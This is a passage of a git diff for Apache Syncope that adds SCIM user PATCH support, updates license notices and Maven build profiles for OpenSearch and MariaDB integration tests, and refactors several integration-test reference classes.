org.apache.syncope.ext.scimv2.api.type.ErrorType; import org.apache.syncope.ext.scimv2.api.type.Resource; import org.apache.syncope.ext.scimv2.api.type.SortOrder; -public class UserServiceImpl extends AbstractService implements UserService { +public class SCIMUserServiceImpl extends AbstractSCIMService implements SCIMUserService { - public UserServiceImpl( + public SCIMUserServiceImpl( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager) { - super(userDAO, groupDAO, userLogic, groupLogic, binder, confManager); + super(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, confManager); } @Override @@ -79,8 +90,22 @@ public SCIMUser get(final String id, } @Override - public Response update(final String id) { - return Response.status(Response.Status.NOT_IMPLEMENTED).build(); + public Response update(final String id, final SCIMPatchOp patch) { + ResponseBuilder builder = checkETag(Resource.User.schema(), id); + if (builder != null) { + return builder.build(); + } + + Pair, StatusR> update = binder.toUserUpdate( + userLogic.read(id), + patch); + update.getLeft().forEach(userUR -> userLogic.update(userUR, false)); + Optional.ofNullable(update.getRight()).ifPresent(statusR -> userLogic.status(statusR, false)); + + return updateResponse( + id, + null, + true); } @Override @@ -89,30 +114,56 @@ public Response replace(final String id, final SCIMUser user) { throw new BadRequestException(ErrorType.invalidPath, "Expected " + id + ", found " + user.getId()); } - ResponseBuilder builder = checkETag(Resource.User, id); + ResponseBuilder builder = checkETag(Resource.User.schema(), id); if (builder != null) { return builder.build(); } - ProvisioningResult result = userLogic.update( - AnyOperations.diff(binder.toUserTO(user), userLogic.read(id), false), false); + UserTO before = userLogic.read(id); + + UserUR req = AnyOperations.diff(binder.toUserTO(user, true), before, false); + req.getResources().clear(); + req.getAuxClasses().clear(); + req.getRelationships().clear(); + req.getRoles().clear(); + req.getLinkedAccounts().clear(); + ProvisioningResult result = userLogic.update(req, false); + + if (before.isSuspended() == user.isActive()) { + StatusR statusR = new StatusR.Builder( + before.getKey(), + user.isActive() ? StatusRType.REACTIVATE : StatusRType.SUSPEND). + build(); + userLogic.status(statusR, false); + } + return updateResponse( result.getEntity().getKey(), binder.toSCIMUser( result.getEntity(), uriInfo.getAbsolutePathBuilder().path(result.getEntity().getKey()).build().toASCIIString(), List.of(), - List.of())); + List.of()), + false); + } + + @Override + protected SCIMResource getResource(final String key) { + return binder.toSCIMUser( + userLogic.read(key), + uriInfo.getAbsolutePathBuilder().path(key).build().toASCIIString(), + List.of(), + List.of()); } @Override public Response delete(final String id) { - ResponseBuilder builder = checkETag(Resource.User, id); + ResponseBuilder builder = checkETag(Resource.User.schema(), id); if (builder != null) { return builder.build(); } - anyLogic(Resource.User).delete(id, false); + anyLogic(Resource.User.name()).delete(id, false); return Response.noContent().build(); } @@ -136,11 +187,11 @@ public ListResponse search( List.of(ArrayUtils.nullToEmpty(StringUtils.split(excludedAttributes, ',')))); } - return doSearch(Resource.User, request); + return doSearch(Resource.User.name(), request); } @Override public ListResponse search(final SCIMSearchRequest request) { - return doSearch(Resource.User, request); + return doSearch(Resource.User.name(), request); } } diff --git a/fit/build-tools/LICENSE b/fit/build-tools/LICENSE index f07c250800f..45f46307b93 100644 --- a/fit/build-tools/LICENSE +++ b/fit/build-tools/LICENSE @@ -208,11 +208,6 @@ This is licensed under the AL 2.0, see above. == -For Caffeine (https://github.com/ben-manes/caffeine): -This is licensed under the AL 2.0, see above. - -== - For H2 (http://www.h2database.com/): This is licensed under the EPL 1.0: @@ -437,7 +432,12 @@ This is licensed under the EPL 1.0, see above. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): +For UnboundID LDAP SDK for Java (https://github.com/pingidentity/ldapsdk): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): This is licensed under the EDL 1.0: Eclipse Distribution License - v 1.0 @@ -465,11 +465,6 @@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWIS THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -== - -For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. - == For Eclipse Implementation of JAXB (https://projects.eclipse.org/projects/ee4j.jaxb-impl): @@ -883,7 +878,7 @@ of liability. == -For Legion of the Bouncy Castle (http://www.bouncycastle.org/java.html): +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): This is licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining @@ -942,6 +937,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For ASM (http://asm.ow2.org/): This is licensed under the BSD license, see above. diff --git a/fit/build-tools/NOTICE b/fit/build-tools/NOTICE index 7676aa275e5..44778700fe2 100644 --- a/fit/build-tools/NOTICE +++ b/fit/build-tools/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2026 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -13,11 +13,6 @@ This product includes software developed by the Jackson project. == -This product includes software developed by the Caffeine project. -Copyright (c) 2021 Ben Manes. All Rights Reserved. - -== - This product includes software developed by the GreenMail project. Copyright (c) 2006 - 2019, Wael Chatila and GreenMail project contributors @@ -28,8 +23,8 @@ Copyright (c) 1997, 2021 Oracle and/or its affiliates. All rights reserved. == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. +This product includes software developed by UnboundID LDAP SDK for Java +Copyright 2007-2022 Ping Identity Corporation == @@ -70,8 +65,9 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == -This product includes software developed by the Legion of the Bouncy Castle. -Copyright (c) 2000-2016 The Legion of the Bouncy Castle Inc. (http://www.bouncycastle.org) +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa == @@ -83,6 +79,11 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors + +== + This product includes software developed by the ASM project. Copyright (c) 2000-2011 INRIA, France Telecom All rights reserved. diff --git a/fit/build-tools/pom.xml b/fit/build-tools/pom.xml index d99c1b4a76b..d7875f2ef5b 100644 --- a/fit/build-tools/pom.xml +++ b/fit/build-tools/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-fit - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT Build Tools @@ -171,6 +171,11 @@ under the License. groovy-sql + + net.tirasa + groovy-security-sandbox + + com.icegreen greenmail @@ -201,11 +206,6 @@ under the License. com.lmax disruptor - - commons-logging - commons-logging - provided - @@ -249,7 +249,8 @@ under the License. + filesetmanifest="merge" + modificationtime="${project.build.outputTimestamp}"/> @@ -334,8 +335,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} @@ -383,8 +382,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} @@ -419,8 +416,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} diff --git a/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/SyncopeBuildToolsApplication.java b/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/SyncopeBuildToolsApplication.java index 62f92704296..9888d10fae6 100644 --- a/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/SyncopeBuildToolsApplication.java +++ b/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/SyncopeBuildToolsApplication.java @@ -102,8 +102,8 @@ public UserService userService() { public Server restProvisioning( final GreenMailService greenMailService, final UserService userService, - final ApplicationContext ctx, - final Bus bus) { + final Bus bus, + final ApplicationContext ctx) { SpringJAXRSServerFactoryBean restProvisioning = new SpringJAXRSServerFactoryBean(); restProvisioning.setApplicationContext(ctx); diff --git a/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/cxf/UserService.java b/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/cxf/UserService.java index e586d382b51..e9b70304f86 100644 --- a/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/cxf/UserService.java +++ b/fit/build-tools/src/main/java/org/apache/syncope/fit/buildtools/cxf/UserService.java @@ -162,11 +162,9 @@ public User authenticate( if (user.isEmpty()) { throw new NotFoundException(username); } - if (!password.equals(user.get().getPassword())) { - throw new ForbiddenException(); - } - return user.get(); + return user.filter(u -> password.equals(u.getPassword())). + orElseThrow(() -> new ForbiddenException()); } @POST diff --git a/fit/build-tools/src/main/resources/testdb.sql b/fit/build-tools/src/main/resources/testdb.sql index 5c772d06bcd..97651923561 100644 --- a/fit/build-tools/src/main/resources/testdb.sql +++ b/fit/build-tools/src/main/resources/testdb.sql @@ -41,6 +41,7 @@ username VARCHAR(80), surname VARCHAR(80), mustChangePassword BOOLEAN, email VARCHAR(80), +status VARCHAR(5) DEFAULT 'true', lastModification TIMESTAMP); DROP TABLE testPRINTER IF EXISTS; diff --git a/fit/console-reference/pom.xml b/fit/console-reference/pom.xml index 5833ccbe95f..85d5713ae24 100644 --- a/fit/console-reference/pom.xml +++ b/fit/console-reference/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-fit - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT Console Reference @@ -100,6 +100,21 @@ under the License. + + org.apache.maven.plugins + maven-dependency-plugin + true + + + set-bundles + process-test-resources + + copy + + + + + org.codehaus.cargo cargo-maven3-plugin @@ -113,8 +128,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} file:/dev/./urandom @@ -157,7 +170,7 @@ under the License. - + org.apache.maven.plugins maven-checkstyle-plugin @@ -178,9 +191,17 @@ under the License. src/test/resources true + + ${basedir}/../core-reference/src/test/resources/rest + ${project.build.testOutputDirectory}/rest + + + ${basedir}/../core-reference/src/test/resources/scriptedsql + ${project.build.testOutputDirectory}/scriptedsql + - + skipTests diff --git a/fit/console-reference/src/main/resources/log4j2.xml b/fit/console-reference/src/main/resources/log4j2.xml index 0750199eae8..b52ad4e08d0 100644 --- a/fit/console-reference/src/main/resources/log4j2.xml +++ b/fit/console-reference/src/main/resources/log4j2.xml @@ -21,8 +21,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n diff --git a/fit/core-reference/pom.xml b/fit/core-reference/pom.xml index 5ae13dbb9b2..5fe7a1bcce0 100644 --- a/fit/core-reference/pom.xml +++ b/fit/core-reference/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-fit - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope FIT Core Reference @@ -113,8 +113,8 @@ under the License. test - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser ${project.version} test @@ -148,6 +148,12 @@ under the License. ${project.version} test + + org.apache.syncope.ext.saml2sp4ui + syncope-ext-saml2sp4ui-client-enduser + ${project.version} + test + org.apache.syncope.ext.scimv2 syncope-ext-scimv2-rest-cxf @@ -178,6 +184,12 @@ under the License. ${project.version} test + + org.apache.syncope.ext.oidcc4ui + syncope-ext-oidcc4ui-client-enduser + ${project.version} + test + org.awaitility awaitility @@ -283,8 +295,6 @@ under the License. ${project.build.directory}/cargo/extract 300000 - ${cargo.log} - ${cargo.output} file:/dev/./urandom true @@ -303,6 +313,7 @@ under the License. + --add-opens=java.base/java.io=ALL-UNNAMED -Dspring.profiles.active=${spring.profiles.active} -XX:+UseG1GC -Xmx1024m -Xms512m @@ -406,6 +417,12 @@ under the License. errorMessages.properties + + ${basedir}/../../core/spring/src/test/resources + + *.groovy + + @@ -495,7 +512,7 @@ under the License. elasticsearch-it - + embedded,elasticsearch @@ -517,7 +534,7 @@ under the License. ${project.version} - + @@ -542,6 +559,7 @@ under the License. single-node elasticsearch + false false false -Xms750m -Xmx750m @@ -572,14 +590,14 @@ under the License. - + org.codehaus.cargo cargo-maven3-plugin true - + src/test/resources @@ -607,6 +625,121 @@ under the License. + + opensearch-it + + + embedded,opensearch + + + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-logic + ${project.version} + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-provisioning-java + ${project.version} + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-persistence-jpa + ${project.version} + + + + + + + org.apache.maven.plugins + maven-failsafe-plugin + true + + + **/org/apache/syncope/fit/core/*ITCase.java + + + + + + io.fabric8 + docker-maven-plugin + + + + opensearchproject/opensearch:${opensearch.version} + + + single-node + elasticsearch + false + true + -Xms750m -Xmx750m + z[x@%~CS7Vn} + + + 9200:9200 + 9300:9300 + + + + + + + + start-opensearch + pre-integration-test + + start + + + + stop-opensearch + post-integration-test + + stop + remove + + + + + + + org.codehaus.cargo + cargo-maven3-plugin + true + + + + + + src/test/resources + true + + saml.keystore.jks + test.pdf + + + + src/test/resources + false + + saml.keystore.jks + test.pdf + + + + ${basedir}/../../core/rest-cxf/src/main/resources + + errorMessages.properties + + + + + + pgjsonb-it @@ -1050,7 +1183,124 @@ under the License. + + + majson-it + + + org.mariadb.jdbc + mariadb-java-client + + embedded,majson + + + + + org.apache.syncope.core + syncope-core-persistence-jpa-json + ${project.version} + + + org.mariadb.jdbc + mariadb-java-client + ${jdbc.mariadb.version} + test + + + + + clean verify + + + + org.apache.maven.plugins + maven-war-plugin + + WEB-INF/classes/domains/Two* + + + + + org.apache.maven.plugins + maven-failsafe-plugin + true + + + **/org/apache/syncope/fit/core/*ITCase.java + + + + + + io.fabric8 + docker-maven-plugin + + + + mariadb + mariadb:${docker.mariadb.version} + + + password + syncope + syncope + syncope + + + /var/lib/mysql:rw + + + MariaDB init process done. Ready for start up. + + + + + + + + + start-mariadb + pre-integration-test + + start + + + + stop-mariadb + post-integration-test + + stop + remove + + + + + + + org.codehaus.cargo + cargo-maven3-plugin + true + + + + ${docker.container.mariadb.ip} + + + + + + + + + ${basedir}/../../core/persistence-jpa-json/src/test/resources/domains + ${project.build.outputDirectory}/domains + true + + + + + mariadb-it @@ -1372,7 +1622,7 @@ under the License. com.microsoft.sqlserver mssql-jdbc - ${jdbc.mssql.version}11 + ${jdbc.mssql.version} test @@ -1514,8 +1764,6 @@ under the License. ${settings.localRepository}/org/codehaus/cargo/cargo-container-archives ${project.build.directory}/cargo/extract - ${cargo.log} - ${cargo.output} @@ -1618,8 +1866,6 @@ under the License. ${settings.localRepository}/org/codehaus/cargo/cargo-container-archives ${project.build.directory}/cargo/extract - ${cargo.log} - ${cargo.output} diff --git a/fit/core-reference/src/main/java-all/org/apache/syncope/fit/core/reference/flowable/CreateARelationship.java b/fit/core-reference/src/main/java-all/org/apache/syncope/fit/core/reference/flowable/CreateARelationship.java index e781bf43e19..cfd3e409488 100644 --- a/fit/core-reference/src/main/java-all/org/apache/syncope/fit/core/reference/flowable/CreateARelationship.java +++ b/fit/core-reference/src/main/java-all/org/apache/syncope/fit/core/reference/flowable/CreateARelationship.java @@ -53,9 +53,8 @@ protected void doExecute(final DelegateExecution execution) { UserUR userUR = new UserUR(); userUR.setKey(user.getKey()); - userUR.getRelationships().add(new RelationshipUR.Builder(new RelationshipTO.Builder(). - otherEnd("PRINTER", printer).type("neighborhood").build()). - build()); + userUR.getRelationships().add(new RelationshipUR.Builder(new RelationshipTO.Builder("neighborhood"). + otherEnd("PRINTER", printer).build()).build()); Pair, PropagationByResource>> propInfo = dataBinder.update(user, userUR); diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CoreReferenceContext.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CoreReferenceContext.java index 29eead687e5..6cb5409ae11 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CoreReferenceContext.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CoreReferenceContext.java @@ -18,20 +18,23 @@ */ package org.apache.syncope.fit.core.reference; +import com.nimbusds.jose.JOSEException; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.core.logic.IdRepoLogicContext; import org.apache.syncope.core.logic.TaskLogic; import org.apache.syncope.core.logic.audit.AuditAppender; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; import org.springframework.boot.autoconfigure.AutoConfigureBefore; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Lazy; @AutoConfigureBefore(IdRepoLogicContext.class) @ComponentScan("org.apache.syncope.fit.core.reference") @@ -47,6 +50,15 @@ public ElasticsearchInit elasticsearchInit( return new ElasticsearchInit(implementationDAO, entityFactory, taskLogic); } + @Bean + public OpenSearchInit openSearchInit( + final ImplementationDAO implementationDAO, + final EntityFactory entityFactory, + final TaskLogic taskLogic) { + + return new OpenSearchInit(implementationDAO, entityFactory, taskLogic); + } + @Bean public EnableFlowableForTestUsers enableFlowableForTestUsers(final UserDAO userDAO) { return new EnableFlowableForTestUsers(userDAO); @@ -57,9 +69,11 @@ public ImplementationLookup implementationLookup( final UserWorkflowAdapter uwf, final AnySearchDAO anySearchDAO, final EnableFlowableForTestUsers enableFlowableForTestUsers, - final ElasticsearchInit elasticsearchInit) { + final ElasticsearchInit elasticsearchInit, + final OpenSearchInit openSearchInit) { - return new ITImplementationLookup(uwf, anySearchDAO, enableFlowableForTestUsers, elasticsearchInit); + return new ITImplementationLookup( + uwf, anySearchDAO, enableFlowableForTestUsers, elasticsearchInit, openSearchInit); } @Bean @@ -71,4 +85,12 @@ public AuditAppender testFileAuditAppender() { public AuditAppender testFileRewriteAuditAppender() { return new TestFileRewriteAuditAppender(SyncopeConstants.MASTER_DOMAIN); } + + @Bean + public CustomJWTSSOProvider customJWTSSOProvider( + final AnySearchDAO anySearchDAO, + final @Lazy AuthDataAccessor authDataAccessor) throws JOSEException { + + return new CustomJWTSSOProvider(anySearchDAO, authDataAccessor); + } } diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CustomJWTSSOProvider.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CustomJWTSSOProvider.java index 891cd634144..03ab3e354dd 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CustomJWTSSOProvider.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/CustomJWTSSOProvider.java @@ -37,7 +37,6 @@ import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.apache.syncope.core.spring.security.JWTSSOProvider; import org.apache.syncope.core.spring.security.SyncopeGrantedAuthority; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.transaction.annotation.Transactional; /** @@ -56,14 +55,18 @@ public class CustomJWTSSOProvider implements JWTSSOProvider { private final JWSVerifier delegate; - @Autowired - private AnySearchDAO searchDAO; + private final AnySearchDAO anySearchDAO; - @Autowired - private AuthDataAccessor authDataAccessor; + private final AuthDataAccessor authDataAccessor; - public CustomJWTSSOProvider() throws JOSEException { - delegate = new MACVerifier(CUSTOM_KEY); + public CustomJWTSSOProvider( + final AnySearchDAO anySearchDAO, + final AuthDataAccessor authDataAccessor) + throws JOSEException { + + this.delegate = new MACVerifier(CUSTOM_KEY); + this.anySearchDAO = anySearchDAO; + this.authDataAccessor = authDataAccessor; } @Override @@ -98,7 +101,7 @@ public Pair> resolve(final JWTClaimsSet jwtCl userIdCond.setType(AttrCond.Type.EQ); userIdCond.setExpression(jwtClaims.getSubject()); - List matching = searchDAO.search(SearchCond.getLeaf(userIdCond), AnyTypeKind.USER); + List matching = anySearchDAO.search(SearchCond.getLeaf(userIdCond), AnyTypeKind.USER); if (matching.size() == 1) { User user = matching.get(0); Set authorities = authDataAccessor.getAuthorities(user.getUsername(), null); diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPullCorrelationRule.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPullCorrelationRule.java index 5c8cfd84cd6..c712ed57dcc 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPullCorrelationRule.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPullCorrelationRule.java @@ -19,9 +19,9 @@ package org.apache.syncope.fit.core.reference; import org.apache.syncope.common.lib.to.Provision; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRuleConfClass; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRuleConfClass; import org.identityconnectors.framework.common.objects.SyncDelta; @PullCorrelationRuleConfClass(DummyPullCorrelationRuleConf.class) diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPushCorrelationRule.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPushCorrelationRule.java index 94ad5c5e082..77001a4fa27 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPushCorrelationRule.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/DummyPushCorrelationRule.java @@ -19,10 +19,10 @@ package org.apache.syncope.fit.core.reference; import org.apache.syncope.common.lib.to.Provision; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRuleConfClass; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRuleConfClass; import org.identityconnectors.framework.common.objects.Uid; import org.identityconnectors.framework.common.objects.filter.Filter; import org.identityconnectors.framework.common.objects.filter.FilterBuilder; diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ElasticsearchInit.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ElasticsearchInit.java index 2c94572122d..f11b35e9fcc 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ElasticsearchInit.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ElasticsearchInit.java @@ -22,6 +22,7 @@ import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.core.logic.TaskLogic; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; @@ -68,6 +69,6 @@ public void init() { task.setName("Elasticsearch Reindex"); task = taskLogic.createSchedTask(TaskType.SCHEDULED, task); - taskLogic.execute(task.getKey(), null, false); + taskLogic.execute(new ExecSpecs.Builder().key(task.getKey()).dryRun(false).build()); } } diff --git a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ITImplementationLookup.java b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ITImplementationLookup.java index feffedfb01c..214df53005d 100644 --- a/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ITImplementationLookup.java +++ b/fit/core-reference/src/main/java/org/apache/syncope/fit/core/reference/ITImplementationLookup.java @@ -33,35 +33,23 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.AuditReportletConf; -import org.apache.syncope.common.lib.report.GroupReportletConf; -import org.apache.syncope.common.lib.report.ReconciliationReportletConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.report.StaticReportletConf; -import org.apache.syncope.common.lib.report.UserReportletConf; +import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.types.IdMImplementationType; import org.apache.syncope.common.lib.types.IdRepoImplementationType; -import org.apache.syncope.core.logic.job.MacroRunJobDelegate; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; import org.apache.syncope.core.persistence.jpa.attrvalue.validation.AlwaysTrueValidator; import org.apache.syncope.core.persistence.jpa.attrvalue.validation.BasicValidator; import org.apache.syncope.core.persistence.jpa.attrvalue.validation.BinaryValidator; import org.apache.syncope.core.persistence.jpa.attrvalue.validation.EmailAddressValidator; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPullCorrelationRule; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPushCorrelationRule; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.java.job.ExpiredAccessTokenCleanup; import org.apache.syncope.core.provisioning.java.job.ExpiredBatchCleanup; -import org.apache.syncope.core.provisioning.java.job.report.AuditReportlet; -import org.apache.syncope.core.provisioning.java.job.report.GroupReportlet; -import org.apache.syncope.core.provisioning.java.job.report.ReconciliationReportlet; -import org.apache.syncope.core.provisioning.java.job.report.StaticReportlet; -import org.apache.syncope.core.provisioning.java.job.report.UserReportlet; +import org.apache.syncope.core.provisioning.java.job.MacroJobDelegate; import org.apache.syncope.core.provisioning.java.propagation.AzurePropagationActions; import org.apache.syncope.core.provisioning.java.propagation.DBPasswordPropagationActions; import org.apache.syncope.core.provisioning.java.propagation.GoogleAppsPropagationActions; @@ -69,6 +57,8 @@ import org.apache.syncope.core.provisioning.java.propagation.LDAPPasswordPropagationActions; import org.apache.syncope.core.provisioning.java.pushpull.DBPasswordPullActions; import org.apache.syncope.core.provisioning.java.pushpull.DefaultProvisionSorter; +import org.apache.syncope.core.provisioning.java.pushpull.DefaultPullCorrelationRule; +import org.apache.syncope.core.provisioning.java.pushpull.DefaultPushCorrelationRule; import org.apache.syncope.core.provisioning.java.pushpull.LDAPMembershipPullActions; import org.apache.syncope.core.provisioning.java.pushpull.LDAPPasswordPullActions; import org.apache.syncope.core.provisioning.java.pushpull.PullJobDelegate; @@ -77,10 +67,7 @@ import org.apache.syncope.core.spring.policy.DefaultPasswordRule; import org.apache.syncope.core.spring.policy.HaveIBeenPwnedPasswordRule; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.apache.syncope.core.spring.security.SyncopeJWTSSOProvider; import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; import org.springframework.aop.support.AopUtils; /** @@ -88,18 +75,8 @@ */ public class ITImplementationLookup implements ImplementationLookup { - private static final Logger LOG = LoggerFactory.getLogger(ITImplementationLookup.class); - - private static final Set> JWTSSOPROVIDER_CLASSES = - Set.of(SyncopeJWTSSOProvider.class, CustomJWTSSOProvider.class); - - private static final Map, Class> REPORTLET_CLASSES = - Map.of( - AuditReportletConf.class, AuditReportlet.class, - ReconciliationReportletConf.class, ReconciliationReportlet.class, - GroupReportletConf.class, GroupReportlet.class, - UserReportletConf.class, UserReportlet.class, - StaticReportletConf.class, StaticReportlet.class); + private static final Map, Class> REPORT_CLASSES = + Map.of(SampleReportConf.class, SampleReportJobDelegate.class); private static final Map, Class> ACCOUNT_RULE_CLASSES = Map.of( @@ -136,17 +113,9 @@ public class ITImplementationLookup implements ImplementationLookup { private static final long serialVersionUID = 3109256773218160485L; { - Set classNames = ITImplementationLookup.JWTSSOPROVIDER_CLASSES.stream(). - map(Class::getName).collect(Collectors.toSet()); - put(IdRepoImplementationType.JWT_SSO_PROVIDER, classNames); - - classNames = new HashSet<>(); - classNames.add(ReconciliationReportletConf.class.getName()); - classNames.add(UserReportletConf.class.getName()); - classNames.add(GroupReportletConf.class.getName()); - classNames.add(AuditReportletConf.class.getName()); - classNames.add(StaticReportletConf.class.getName()); - put(IdRepoImplementationType.REPORTLET, classNames); + Set classNames = new HashSet<>(); + classNames.add(SampleReportJobDelegate.class.getName()); + put(IdRepoImplementationType.REPORT_DELEGATE, classNames); classNames = ITImplementationLookup.ACCOUNT_RULE_CLASSES.values().stream(). map(Class::getName).collect(Collectors.toSet()); @@ -162,7 +131,7 @@ public class ITImplementationLookup implements ImplementationLookup { put(IdRepoImplementationType.ITEM_TRANSFORMER, classNames); classNames = new HashSet<>(); - classNames.add(MacroRunJobDelegate.class.getName()); + classNames.add(MacroJobDelegate.class.getName()); classNames.add(PullJobDelegate.class.getName()); 